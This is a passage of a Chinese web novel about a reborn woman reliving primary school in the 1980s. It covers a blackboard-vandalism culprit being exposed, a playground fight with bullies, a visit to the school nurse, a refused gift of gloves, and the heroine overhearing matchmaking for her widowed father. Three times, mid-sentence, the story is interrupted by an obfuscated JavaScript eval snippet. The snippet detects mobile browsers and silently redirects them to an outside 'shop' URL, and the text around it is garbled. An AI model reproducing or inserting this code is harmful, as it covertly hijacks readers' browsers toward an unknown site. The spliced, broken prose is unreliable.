程守萍劝她:“别在这里吵,先回教室再说。”附近围了不少学生,已经有老师在往这里看了,而且过不了多久就要上课,再吵下去只会先被老师批评一顿。 曹俊已经上楼,蔡琳玲吐出口长气,把她问到的和看到的情况对程守萍说了,又问:“现在他死不承认怎么办?” 15. 【揭穿】 程守萍在曹俊经过身边时仔细观察过他,心里有了数,凑近蔡琳玲耳边低声说了几句。 蔡琳玲眼睛亮了,脸上也有了笑意,朝程守萍点点头,一起往楼上走。 王新宇:“……”为什么没人告诉他要怎么办? 沈继舟是全组最淡定的一个,和平时一模一样的时间到校,迈进教室的时候也是一愣。随即目光移向程守萍,眉头微微扬起,是一个询问的表情。 程守萍朝曹俊的方向使了个眼色。 他便懂了,脸上浮起几分怒意,冷冷瞥向曹俊。 曹俊双手抱胸,转头看向窗外。 沈继舟开始收语文作业,核对每一组上交的作业簿有无缺漏,并记录下没交作业的同学。第一节就是语文课,所以按照陈老师的习惯,他把整理好的作业簿留在讲台上。 随后他走到自己座位边坐下,像平时一样拿出课本铅笔盒,做上课前的准备。 还是蔡琳玲憋不住,凑近问他:“你怎么不生气?” 沈继舟:“我生气啊。” “那你怎么不去骂他?” “要上课了。”话音刚落,铃声响起。 陈寒梅进入教室,习惯性地扫一眼座位上的学生们,看看人数齐不齐,是不是坐得端正。 人倒是齐了,也都坐得笔直端正,然而教室后方的黑板就不对劲了。 陈寒梅仔细看了看轮到出板报的这一小组,前排的周亦欣和王向珊刚哭过,眼睛都是红红的,后面几个学生也都带着愤愤然的神色。她大致能猜到发生的事情。 她没说话,再次扫视班级里每个学生,把他们的神情和反应都记在心里。 然后她问:“谁能告诉我,发生了什么事?” 程守萍举手。陈寒梅朝她点了一下头。 程守萍站起来,把今早到学校后发现的事情说了一遍,尽量简洁不啰嗦,然后把对曹俊的怀疑直截了当说了出来。 曹俊不服气地举起手。陈寒梅朝他点了下头。曹俊也站起来,口气委屈:“我什么都没干,他们冤枉我。” 程守萍问他:“你今天早上来学校擦过黑板吗?” 曹俊愣了愣:“当然没有,我说过不是我擦的……” “那为什么你校服上有粉笔灰?” 曹俊脸一僵,本能地回头去看自己肩膀,随即意识到自己已经上套了。他愣了几秒钟,仍然嘴硬辩解:“是昨天,我昨天擦过黑板。” “昨天你不是值日生,谁也没看到你擦过黑板。而且……”程守萍适时祭出杀手锏,“你的书包上面也落了不少粉笔灰,难道你昨天也是背着书包上去擦黑板的吗?” 曹俊脸涨红了,对上陈老师谴责的眼神,低下头不再说话。 早晨他特意提早半个多小时来学校,看到班里其他人都还没来,就立即开始擦黑板。但因为随时都可能有人进教室,也可能有人从走廊经过,看到他擦板报,所以他非常紧张,连书包都没放下,一口气擦完后赶紧离开教室,在操场一角树丛比较茂密的地方躲着。 等到大家都陆续进教室坐下了,他再进教室,假装刚刚到校的样子,那就无论如何都怀疑不上他了。 他自我感觉这个计划天衣无缝,他甚至还记得把用来踏脚的椅子也擦干净,放回原位。 可偏偏忘了擦黑板的时候,会有粉笔灰掉在身上和书包上! 陈老师见他不再辩解,显然是默认了程守萍的指责,她失望地低叹口气,说:“曹俊,明天让你家长来一下学校。” 曹俊大惊失色,如果只是写检讨书还好,一旦叫家长来的话,回家难免要吃一顿竹笋烤肉。 他失魂落魄地坐回座位上,心中悔恨羞惭交加,几乎整个上午都没有心思听讲。 - 一直以来,沈继舟午饭都是回家吃的,偶尔也会去他爸爸单位食堂。 因为天气热的时候饭菜容易变质,所以食堂在早晨会把饭菜先彻底蒸透,再在中午放学前加热一次。妈妈认为多次加热会破坏蔬菜的营养,不让他带饭在学校吃。 不过现在天气转冷了,他就向妈妈提出想在学校吃午饭。 理由很充分,在学校吃饭可以节省来回路上的时间,就有更多时间看书或者学习了。 林月妍看了看他,舟舟虽然故作平静,但只要看他的眼神就知道他有多期待了。 从这个学期开始,舟舟好像比之前开朗了一些,也更喜欢去学校了。 多参与集体活动毕竟是利大于弊,最终林月妍还是点头答应让他试试,心里盘算着以后晚饭时多给他补点新鲜蔬菜,早餐也可以加些新鲜水果。 于是沈继舟也开始在学校吃中饭。 当值日生抬着大箱子进教室的时候,大家一哄而上,翻找自己的饭盒。 王新宇个头结实跑得快,冲在最前,他守住了大箱子前的位置,要是看到同组的同学饭盒,就会替他们拿出来,往后传。蔡琳玲也是个急性子,只是没王新宇跑得快而已,她从王新宇手里接过饭盒,一边呼呼吹气喊着:“烫烫烫!”一边再朝后传。 “萍萍,你的。” “周亦欣,你的。” “沈继舟……咦?”她回头看向后方,眼珠瞬间瞪圆,好像发现什么了不得的惊天大事,“沈继舟你今天也带饭啊?” 沈继舟点点头,接过饭盒,说声谢谢,回到自己座位,开始吃饭。 王新宇找到了他的饭盒,回来坐下,先伸头看看沈继舟的饭盒:“你今天吃啥?”再回头看看后排两个人吃啥。 不过他也就纯是好奇,看过问过,之后就埋头大口吃自己那份。 最晚开始,最早结束。说得就是王新宇同学。 程守萍吃完,准备去洗饭盒,看到沈继舟望着饭盒发呆,便问他:“你吃完了吗?” 沈继舟点点头,迟疑地开口:“这个要怎么洗?” 程守萍:“……”原来是位在家从来不动手洗碗的少爷。 她天天去他家听磁带,经常向他请教英语方面的问题,顺手帮他洗个饭盒也算是还人情,便将饭盒拿了过来:“我去洗吧。” 沈继舟急忙站起来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059912|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只是第一次不知道该怎么做而已,你和我说怎么洗,我自己来。” 程守萍点头:“行啊,你跟我来。” 两人来到食堂后面,那里有个大的泔脚桶,饭盒里有剩饭菜渣的话要先倒进去。 程守萍睨了眼沈继舟饭盒里:“剩的有点多啊。” 沈继舟的脸微微涨红:“我妈给我装太多了。” 相处了这段时间,程守萍知道他家境不错,估计是挺挑食的,让食堂蒸过的蔬菜都发黄发软,肯定要比家里的菜难吃。她暂且不想揭穿他,假装接受了这个答案。 接着带他来到大水槽边,演示给他看怎么清洗饭盒和勺子,最后把饭盒上残余的水甩干,装进饭盒袋里。 沈继舟依样画葫芦地照着做,也很快把饭盒洗干净了。 快入冬的天了,龙头里放出的水冰冷彻骨,把饭盒洗完后,手就被冻得通红。 程守萍把饭盒袋的系绳挂在手腕上,双手举在嘴边呼热气暖手。 沈继舟有样学样,用手帕擦干手之后,也放在嘴边呼热气。 程守萍还教他:“像这样来回搓手,手很快就暖和了,还不容易生冻疮。” 沈继舟学着她的动作来回搓手,揉搓手指,果然手很快暖和起来。 阳光很好,毫不吝惜地洒落在校园里。 操场上本就稀薄的草皮已经枯萎,露出下面干硬的黄泥,所以他们沿着煤渣跑道走,从鞋底发出轻微的嚓嚓声。 操场边有四个水泥的兵乓球台,砖砌的台脚,水泥抹平的台面,台子中间用碎砖头夹着一条巴掌高的木板就算球网了。 这会儿已经有学生在打乒乓了,程守萍发现其中一个球手是坐她后排的张佑军,便走过去看他们打球。 沈继舟稍一犹豫,也走了过去,站在程守萍身边。 张佑军坐最后一排,个头属于班里最高的一批,但毕竟还是四年级学生,站在乒乓球台边也不怎么显高。但他非常灵活,不仅对面打过来的球都能接得住,还能忽前忽后时左时右地吊着对面来回跑。 但是对面的实力也不差,尽管来回跑得比较狼狈,仍然能接住球,还能捎带着反击。这一球两边来去了十几个回合还没分出胜负。 乒乓球方面程守萍是门外汉,纯粹看个热闹,不过因为是同小组的同学,理所当然地支持张佑军这边,看到他一个扣杀,对面没能接住,灰溜溜去捡球,不由叫了一声:“好球!” 张佑军朝这边看了一眼,认出程守萍和沈继舟,向他们咧嘴笑笑,继续看向球台对面。 程守萍还想继续看,沈继舟提醒道:“你不是说中午要写作业的吗?” 程守萍想了想:“上午布置的作业不多,一会儿就能做完。再看会儿。” 难得今天天气不错,在户外晒晒太阳,看看球赛,是多惬意的一件事啊! 沈继舟又说:“今天放学还得留下来出黑板报,你也没时间来我家读英语了,英语要每天读才能保持语感。” 程守萍目不转睛看着球台:“嗯,我每天晚上回家都读的。” 16. 【打架】 沈继舟垂下眼睫,原地沉默片刻,说:“中午读英语不好吗?我可以和你一起读。” 程守萍也不是对乒乓球有多感兴趣,主要是午间阳光太好,她想要多晒晒太阳,看他们打球只是顺便。听到这句心动了,朝他点点头:“那好,去拿英语书出来,我们在外面读。” 少年的眉宇瞬间舒展,清澈眼眸微微弯起,腮边浮起两个小小的梨涡:“好。” 操场边靠近教学楼的地方有一排稀疏的小树林,刚好能挡住教室里学生的视线,乒乓球台就在小树林边。操场另一边则有个水泥的简陋看台,分了三层高度,倒是正好可以坐着看书。 英语书只有一本,摊开摆在中间,一半在他腿上,一半在她腿上。 沈继舟读一句,她跟一句,两个人都很专注。 操场上渐渐有更多学生,踢球踢毽子的,跳橡皮筋的,打乒乓的球台边也围了不少人,时不时发出欢呼或喊叫,还有些学生在空旷地追跑打闹,大笑喧嚷。 但这些对他们来说,都是毫无意义的背景音,耳边清晰回响着的,只有彼此朗读单词与短句的语音。 沈继舟不厌其烦地一遍遍纠正她的发音,她也用心去分辨自己和他发音上的区别,努力去模仿,再不断地重复练习,直到那些词句都能如流水般自然而然地脱口而出。 “哇,你们在做啥?” 程守萍和沈继舟都没在意,只以为是附近有人打闹嬉戏,继续低头读着书本上的词句。 一只手伸过来,骤然抽走了英语书。 程守萍吃了一惊,抬头看去,是几个高年级的学生,抽走书的还是张熟脸,正是那天在山上撞她的男生。 他敞着校服,嬉皮笑脸地拎着书,口中不三不四地念着:“床前明月光,地上鞋两双,一对狗男女,低头亲个嘴。” 沈继舟站起来:“书还给我。” 男生将书往身后一收,又开始了“床前明月光”,旁边几个学生跟着起哄。 “不许胡说!”沈继舟气得脸都涨红了,朝那个抢书的男生冲了过去,一把揪住他的校服。 那男生身材瘦小,即便年级比沈继舟要高,但个头两人却是差不太多。他见沈继舟冲到近前,还揪住自己校服,慌忙往后退,脚跟被跑道边缘的凸起绊到,向后一屁股结结实实摔在煤渣跑道上,疼得他“嗷”了一声。 沈继舟也被他带着往前摔去,双膝磕在跑道上,他胸中全是怒火,气愤之下丝毫不觉疼痛,趁势压在这男生身上,双拳攥着他衣领,顶在他前胸的位置,大声吼道:“不!许!胡!说!” 其他男生见状纷纷上前帮忙。 程守萍怕他一个人被其他人围攻吃大亏,急忙大喊:“黄主任来了!教导主任来了!” 这几个男生一听,纷纷作鸟兽散。 程守萍上前拉起沈继舟,一手拾起落在地上的英语书:“快走!” 临走前看那个抢书男生也想爬起来,正好是脸朝下,屁股向上的姿势,她照准他屁股上就是一脚。 抢书男生没防备这一脚,“哎呦”一声又趴了回去。 程守萍这才觉得解气,拿着书转身狂奔。沈继舟也跟着她跑,两人直到绕过小礼堂那栋楼才停下,一边喘着气一边大笑。 笑了一阵,程守萍想起沈继舟方才推人的时候自己膝盖也磕在煤渣跑道上了,叫他把裤腿挽起来瞧瞧有没有磕破皮。 沈继舟不肯,摇着头说:“不疼,没事。” 程守萍看看他没说话,忽然伸手往他膝盖上不轻不重地拍了一下。 “咝——”沈继舟忍不住倒抽一口凉气。 得,也不用挽裤腿看了,肯定是磕破皮了。 “走,去校医那儿上点药。”程守萍的语气是命令式的,没有半点商量的余地。 知道他膝盖有伤,程守萍刻意放慢脚步走,幸好校医室离小礼堂不远,甚至就是同一栋楼的侧翼。 两人来到校医室外,敲了敲门,没有回应。 “有人吗?老师在吗?” 还是没有回应。也许校医吃饭去了还没回来,只能等着。 两人并肩靠墙而立。等了片刻,程守萍开口道:“其实,刚才你不该去打他,让他去瞎跳呗,只要你当他不存在,他自己跳着跳着就会觉得没意思了。” 沈继舟一声不吭。 “你去打他,万一真打伤他了,他颠倒黑白向老师告状,说是你先动手打他的,那该怎么办?”程守萍又说了几句,却不闻沈继舟有半点回应,便侧头去看他表情。 他垂头看着地,嘴唇紧紧抿着。 程守萍也就不说了。想想他这年纪,也不可能像成年人一样思考问题,换做她自己十岁的时候,遇到方才那样的情况也一样沉不住气,说不定还会被这群坏小子气哭呢。她是欣赏这少年,就把他当自己弟弟那样教训了。 两人都没再说话,沉默维持了一阵,程守萍见校医始终不回来,开始担心直到他们上课都等不来校医。 她试着转了转门把手,意外地发现门没锁,能拉得开。 她再次敲敲门,里面没有任何回应。 她索性把门拉开,走了进去。一样是等,不如坐在里面等。 回头见沈继舟没跟上。她折返出去,探头一看,他还在老地方站着,也不知道是和她赌气还是为了什么缘故不肯进屋。 “怎么?生我气了?我刚才说你不是怪你,是……” 他摇摇头:“没有。” “你没生气?” 他低低咕哝了句:“我是生他们的气。” “你要是不生我的气,就进来啊。”程守萍知他心里还有气,方才听到她说他做得不对时,估计还有点愤懑委屈。但他自己说不生她气的,她就拿捏着这一点,让他进屋来再说。 “你要是不肯进来,就是生我的气了。” 沈继舟沉默几秒,脚步动了。 总算是把人哄进来了。 程守萍看一眼墙上挂钟,离上课也就不到半小时了,校医要是再不来,或是再晚十几分钟到,根本来不及处理完伤口,他们就要迟到了。 她视线一扫桌面。几只大号带盖搪瓷口杯,上面漆着的红字已经脱落得看不出原文,但看起来非常干净,一丝污渍都没有,显然是经常清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059913|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗消毒的。 她提起杯盖瞧了眼,扑鼻一股浓烈的酒精味,很好,酒精棉球有了。再打开另一个大号口杯,里面是几把泡在酒精里的医用镊子、剪刀等不锈钢工具。第三个杯子,里面是一块块方型的消毒纱布。 桌面上方的墙壁上钉着一排橱架,她拉开门一看,医用胶带、大卷的纱布、绷带,还有些瓶瓶罐罐,有玻璃药剂瓶,也有完全不透明的瓶子。不仔细阅读瓶子上说明的话,一时半会儿也不知道都是干嘛用的。 但有桌面上那些基础工具与医用胶带,已经完全足够做简单的伤口处理了。 校医也不知道什么时候才回来,要不干脆自己动手,替他把药上了? 她回头看了眼沈继舟,他正用一种震惊且不赞成的眼神望着她。 沈继舟小时候偶尔去妈妈上班的诊室,妈妈都会很严肃地告诫他,里面的东西都是消过毒的,不可以随便碰,会沾上他手上携带的细菌,甚至连打喷嚏、咳嗽这些举动都会污染那些医用品。 现在看到程守萍的举动,他本能地感觉这样做是不对的,可又不知道该怎么说她。 程守萍对上沈继舟震惊的眼神,也意识到自己此时此刻的行为,在他眼里可能就是一个十岁小女孩因为好奇而乱翻校医办公室里的医疗用品。 她轻轻关上橱门,正想着怎么对他解释,忽听门外传来脚步声,是硬底皮鞋敲击地板的声音。 她立即回到沈继舟身边,一副规规矩矩的模样,好像一开始就在原地等待的样子。 沈继舟:“……” 门口进来一个穿着便服的女人,大约三十来岁年纪,身材苗条。她先取下挂在门后的白大褂披上,从后领将披肩的头发撩出来,拢成一束,用腕上的皮筋扎成低马尾,与此同时已经走到了办公桌边。 坐下后,她抬眸看看两人:“哪里不舒服?” 沈继舟说:“摔跤磕到了膝盖。” 校医示意他把裤脚挽高:“看看伤口。” 沈继舟把裤腿拉到膝盖上方,露出修长洁白的小腿,膝盖上是一大片被尖利煤渣戳破的伤口,星星点点的鲜红,伤口较大的地方仍然渗着血。 “摔跑道上了?” “嗯。” “手上有伤吗?” 沈继舟摊开手掌看了看,掌心白皙红润完好无损,但他手背指骨关节的地方有小的擦伤。是按着那抢书男生扭打时,被他衣服上的拉链刮到了。 校医有点意外地看了他一眼,看着挺文气的男生,不像是会打架的那类。但这伤一看就知道是怎么回事了:“打架了吧?” “不,没……”沈继舟的脸泛起红晕,没想到这么快就被戳穿了谎言。 校医一脸了然的笑意,又看了程守萍一眼:“你呢?有没有……摔伤?” 程守萍摇头。 校医就没有再说什么,动作麻利地消毒上药,贴上纱布,胶布固定,叮嘱道:“两天内不要洗澡,不要沾水,如果伤口化脓了要来找我。” 说完就转身不再搭理他们。 沈继舟放下裤腿,站起身时稍稍皱了下眉,很快又舒展开。 17. 【送不出的礼物】 离开校医室,又走了一段,程守萍和沈继舟同时开口。 “我刚才……” “我刚才……” 两人又同时停下,看着对方笑了。 方才在校医室门口时那小小的不愉快也随之而散。 沈继舟:“你先说吧。” “我刚才在校医室里不是乱翻,我是怕校医一直不回来,就想看看是不是能先替你把伤口处理一下。” 沈继舟有些惊讶:“你也会治伤?” “倒不是会治伤,但是这种简单的小伤口我还是会处理的,刚才我要找的就是消毒用的酒精棉球和干净纱布。不过还好校医来了,她当然比我专业得多。” 沈继舟忽然有点佩服程守萍,虽然学习上他比她要领先一点,但她好像会很多其他的事情,不管干什么都有模有样的,遇到事情也比他更冷静。 上次在摄山,她骗那几个男生凳子上有鸟屎,这次也是她喊教导主任来了,才让那些男生慌忙散开。 他说:“我刚才没有生你的气,我真的是气他们,那样,那样……乱说。” 程守萍差不多快忘了那几个坏小子说了啥,对她来说那几个都是小学幼稚鬼,说的话她一个字都没放在心上,左耳朵进来,直接从右耳朵出去。 她说:“那帮小鬼头胡说八道的话有什么好在意的,他们就是想让你生气才那样说,你如果生气,就是他们赢了,你根本不气,他们就失败了。” 她和施建华闹离婚的时候,什么难听的话没听到过?为了转移矛盾,让别人对他产生同情心,他到处宣扬她不会生,是只不会下蛋的母鸡。 还有更难听的,说她那方面冷淡,完全没有夫妻生活,搞得好像他才是被冷暴力的那方,他才是受尽委屈,不得不出此下策。 那些日子里,她常常被气到一个人偷偷哭,整夜整夜地失眠,工作也是那时候丢的。 而且这种伤害并未随着成功离婚而结束,她因此情绪抑郁了许多年,心脏也开始出问题。直到弥留的那一刻,她甚至有种解脱之感。 重活一世,她不止一次复盘自己的过去,换了种类似第三方的视角来看待过去的生活,她终于能够直面过去这些造谣中伤,不会因此而气愤,不会因此感到羞辱难堪。 她只会对做出这种行为的施建华深感不齿,鄙视到底。 沈继舟听到她说“那帮小鬼”的时候不由怔了一下,那群学生比他们年级还高呢。 可是要论他们的言行举止,还真的是既幼稚又低级,说他们是一帮小鬼倒也没错。 他不由轻笑出声,心头原本还郁积着的愤懑完全消失了。 “你说得对,我不该生气,也不该去打他。那样的幼稚鬼,我干嘛要和他们一般见识。” 程守萍淡淡笑了笑:“生气倒也没什么该不该的,生气归生气,只是不能因为生气让自己失去理智,做出冲动的事。”更不能因为愤怒失去了自我,进而伤害自己的身心健康。 沈继舟点点头。 两人几乎是踩着点回到教室,刚进门就听见了铃响,急忙回到座位上坐下。 蔡琳玲凑到程守萍耳边低声问:“你们去哪儿了?怎么这么晚回来?” 程守萍目视前方,坐得笔直:“老师来了,快坐好。” 蔡琳玲小声嘀咕:“干什么了呀,神神秘秘的……”说是这么,眼见着老师从走廊过来了,她也赶紧跟着坐正,腰板挺直。 放学后他们这组还是得留下来出板报。大家心里头都有不满与郁闷。 王新宇愤愤地说:“应该罚曹俊也留下来,等我们出完板报才能走。” “说得对!”蔡琳玲深表同意。 程守萍:“你还想让他在这儿看着我们出板报?” “可别!”蔡琳玲打了个寒噤,“那还是算了。” 大家都笑了,气氛变得轻松起来。 好在是第二次,熟门熟路,也就快了许多。 分工还是和昨天一样,只有沈继舟因为稿子已经写完不用再写,但他坚持要自己读稿,不肯把稿子给任何人看,所以还是由程守萍来听写他的文章。 另外,梁凯在画报头的时候,对于哪里有空间,哪里又要多留出来一些更有底了。程守萍与王向珊抄写文字的排布也是如此。最后,板报出来的整体效果比昨天还好。 把课桌搬回原位后,也就准备各自回家了。 临出教室的时候,王新宇说了句:“明天应该不会再出什么妖……” 蔡琳玲眼疾手快在他背上打了一下:“闭嘴!不要乱说话。” 王新宇捂着嘴道:“不说了不说了,你就当我什么都没说。” 大家说笑着离开学校,回家同方向的共行一段,到了路口再挥手告别。连平日里一直独来独往,一个人走回家的沈继舟也和他们同路而行。 沈继舟一回到家,就听见妈妈问他:“在学校吃午饭怎么样?” 他回身关上门:“挺好。” “都吃完了吗?” “剩了一点点。” 林月妍从厨房出来,朝他伸手:“饭盒拿来,正好我在洗锅。” “我已经洗过了。”沈继舟解下系在书包一侧的饭盒袋递给她。 林月妍不由惊讶:“你洗过了?” 她估计儿子也就是拿水冲一下,算是洗过了,拿回厨房准备重新清洗一遍。打开后发现里面干干净净,凑近一闻,还有股肥皂的清香。 她从厨房探出头来:“是不是别人帮你洗的?”她就没指望儿子会自己洗饭盒,所以连洗碗布都没让他带。 “不是,我自己洗的。程同学借我洗碗布和肥皂,我看她怎么洗的,我就怎么洗。” 林月妍不问了,带着微笑回厨房继续忙活。 沈继舟回房,卷起裤腿看了看,天冷了两天不洗澡问题不大,但棉毛裤上沾了血,外裤上也有磨损的痕迹,摔跤的事情肯定瞒不过妈妈。 但校医一看他的手就知道不是摔跤,是打架弄的,妈妈也是医生,肯定能看出来。 他从五斗橱里翻出一双烟灰色的露指手套戴上,这样指背上的擦伤就被遮住了,再过几天应该就看不出来了。 转念想了想,又拿出另一双天蓝色的露指手套,这双是今年新织的,他还一次没戴过。他把手套放进了书包里。 第二天到学校,看见黑板报仍是好好的,沈继舟也松了口气,不由暗笑自己也跟着瞎担心。收齐语文作业后,他回到自己座位上坐好。 吃完午饭,他见程守萍去洗饭盒,也跟着起身,一起去洗。 程守萍还以为他和昨天一样没带肥皂和洗碗布,要蹭她的用,这倒是无所谓的事。 到水槽边,就见沈继舟从饭盒袋里掏出一块簇新的洗碗布,还有一个小药瓶。他示意她把洗碗布拿过来,从小药瓶里倒出少许粘稠的透明液体在她的洗碗布上。 程守萍自然是识货的:“洗洁精?” 沈继舟点点头:“嗯,用这个洗饭盒可以洗的更干净。” 这程守萍也知道啊,只不过这会儿洗洁精也是刚出现在商店货架上,属于稀罕货,又比肥皂要贵,用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059914|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人很少。 两人洗完饭盒,擦干双手往回走。 程守萍正呼着热气暖手,从旁边递过来一双露指手套,整体是天蓝色的,靠近边缘处有白色与深蓝色的细条纹装饰。 她诧异地回头。 沈继舟说:“给你。” 程守萍拒绝得十分干脆:“不要。” “为什么?”沈继舟不明白。她不喜欢这双手套? “你为什么要给我手套?” “因为你没有啊。” 天气渐渐转冷,很多同学都在写字的时候戴上了露指手套,但他一直没见她戴过,想到她没有妈妈,肯定没人帮她织手套吧。 程守萍听到这句,心情有点复杂。 住楼下的樊阿姨倒是替她织了一双鸭脚板手套,只有大拇指是分开的,可以独立活动,其他四根手指只能并拢在一起,那种手套只适合户外穿戴,不适合学习写字的时候用。但樊阿姨到底不是自己妈妈,不可能样样顺着她的心意来准备。 沈继舟家境比她好,父母双全,还有优越的学习环境,这些都不会让她羡慕或嫉妒。一直以来,她和他的相处是平等的,除了学习上的帮助之外,她不想接受他提供的任何物质上的……恩惠。 她没有什么可以回报的东西,这种受人恩惠的感觉并不好受。 可这样复杂的心情,要怎么对眼前的少年人讲,她又怎么能讲得清楚? 她只是对他笑笑:“无功不受禄。平白无故我不能收你东西。” 沈继舟一下急了,加快两步跑到她面前,急切地说:“怎么是平白无故呢?昨天的事,要不是你把他们吓走,我肯定不止现在这点伤。” 如果他脸上也受了伤,不光老师会知道他打架的事,妈妈那头也瞒不住,他肯定要吃批评的。 “还有,你陪我去校医室治伤,洗饭盒也是你教我怎么洗的,我向你学了很多事。还有……” 少年抿了一下唇,垂下眼睫,显出少许腼腆之色,声音也变轻了,语气却是格外诚挚:“你是我最好的朋友。” 因为是最好的朋友,所以想把自己所拥有的东西分享给你。无关回报,无关功利。 程守萍起初听他着急地说那一连串“还有”,有些想笑,直到听见最后一句,确实有那么一点感动。 “谢谢,你也是我的好朋友。”她笑着说道,“多谢你这么有心,不过我邻居樊阿姨已经在帮我织了,这双手套你拿回去吧。” 沈继舟垂着眼,默默地把手套放回口袋。 - 十一月的某天晚上,程守萍去樊阿姨家里接宏宏的时候,樊阿姨拿出两条绒线裤给她,说是替她和宏宏织的。她谢过樊阿姨,领着宏宏回家。 程根生从培训班回来后,程守萍对他说了这件事,他便下楼去道谢,同时也是去结算绒线的钱。 程守萍给爸爸留着门没关,且他们的房间最靠近楼梯口,能隐约听到楼下传来的说话声。 樊阿姨的嗓门又高又亮,即使隔着楼道与楼梯,夜里安静,还是能大致听得出她说了什么:“上次和……提的那事……想好了吗?” 她心头微动,起身走到门口,轻轻推开房门,伸出头去听。 爸爸的声音就低沉许多,很难听清他的回答。 她摸了一下口袋,家门钥匙在里面,不怕一阵风把门吹上,索性走到楼梯口去听。 这里声音就清晰很多,她听到樊阿姨说:“她有小囡,判给男方了。她自己不用带小囡,以后也不会再生,对你的两个小囡只会全心全意照顾……” 18. 【后妈】 听到樊阿姨的话,程守萍吃惊不小,怎么回事,上一世的时候爸爸始终没有另找一个,哪怕是在宏志结婚后,他也没有提过找老伴的事啊? 转念一想,上一世爸爸手残疾了,又带了两个子女,转岗后工资少了许多,虽然有工伤补助,还是比不上原先的水平,家里经济不宽裕,就算想找也很难找到愿意和他结婚的女人。 可这一世情况变了,爸爸的双手完好健全,作为五级钳工,在车间里是颇受尊敬的高级技工,还受过全厂表彰,正准备去考六级钳工。 虽然二婚带着两个子女是扣分项,但他如今年纪并不大。三十三岁的男人正当壮年,身高一米七八,体格结实,城市户籍,大厂工人铁饭碗,外加朴实善良又顾家。 咝—— 在眼前这个年代,怎么看都是相亲市场上颇受欢迎的黄金王老五啊! 她忍不住又往下走了一层半楼梯,想听清楚爸爸是怎么回答的,却听见他说:“……我回去了。”随即便是他向楼梯走来的脚步声。 她只好退回楼上,进屋后摊开英语书,假装读着单词。 不一会儿程根生就回来了,回身关上门,他似乎想起什么似的,从日常随身带的尼龙袋里拿出一个纸包打开,伴着一阵浓郁的焦糖香气,露出一枚烤红薯。 一掰两半,金黄色的薯肉冒出热气。程根生把粗的那头给了女儿。 程守萍捧着热烘烘的烤红薯暖手,一边偷偷打量他。 也许是过去那个因残疾而失意的爸爸,因生活沧桑过早衰老的爸爸,在她记忆中的印象过于深刻,她始终下意识地觉得爸爸已经是个中老年人了。 这会儿仔仔细细地看,才发现爸爸的皮肤虽然略显粗糙黝黑,但脸上没什么皱纹或疤痕斑痣,浓密的眉毛,有神的双眸,高挺的鼻梁,居然还挺英俊的呢。 她假装随意地问道:“爸爸,樊阿姨和你说什么了啊?” 程根生愣了愣,没说话,隔了半晌才道:“没说什么。”接着就催促她,“快趁热吃。时候不早了,再念一会书就该去睡觉了。” 强行转移话题,明显有问题。 程守萍低头慢慢啃着烤红薯,突然之间意识到爸爸可能会给她和弟弟找个后妈,确实有点难以接受。 但凡不是自己家的事,她也能轻松地说出类似“妻子过世两年了才找,这男人已经很不错了。”、“单身男人带两个小囡确实是辛苦,他再找一个也是为了能更好地照顾小囡。”这样的话。 可这事轮到自己头上就完全不同了。 万一这新来的后妈表面一套背地里一套,用家里的钱物去接济自己亲生的孩子怎么办?万一她用温柔小意俘获了爸爸的心,然后用各种冠冕堂皇的名义克扣自己和弟弟的吃用怎么办? 眼下虽然说不会再生,但如果爸爸的心偏向了她,被她哄着同意了再生一个小囡怎么办?计划生育虽然已经开始推行,这一两年还没有那么严格地执行,甚至有不少夫妻赶在正式执行之前抢跑怀上孩子。 如果有了新的孩子,爸爸变得对自己和弟弟毫不在意怎么办? 她想了一堆怎么办,越想越是忧心忡忡,连烤红薯都忘了吃。 程根生看了会儿书,抬头见女儿愣愣出神,那对秀气挺拔的眉头皱了起来,烤红薯也没吃几口,不由诧异:“萍萍,怎么了?是有题不会做?还是学校里出什么事了?” 程守萍回神看向爸爸,笑了笑:“是有道题,挺难解的。” 烤红薯已经不香了,她重新包起来,打算当第二天早饭吃。英语也读不进去,她索性合上书,先重新冲个热水袋放被窝里暖着,随后刷牙洗脸。 洗漱后她回了房间,拧开台灯,轻手轻脚地整理书包。书桌靠床的那侧,加钉了一块高高的木板,可以挡住台灯的光,不会影响到宏宏睡觉。 宏宏睡得特别香甜,从她进屋后就一动没动过,小脸睡得红扑扑的,红润的小嘴微微张开,一整只胳膊都露在外面。 程守萍把他的小手放回被窝里,再摸摸被子里面,发现热水袋早被他踢到被窝一角,已经凉透了。 她替他重新盖好被子,把凉的热水袋拿出去,换上新烧的开水,回房再替爸爸把被子铺好,放进热水袋捂着。 钻进被窝的时候她还在想这件事,不管怎样,先要确定爸爸的想法,知道了他是怎么想的,才能有下一步对策。 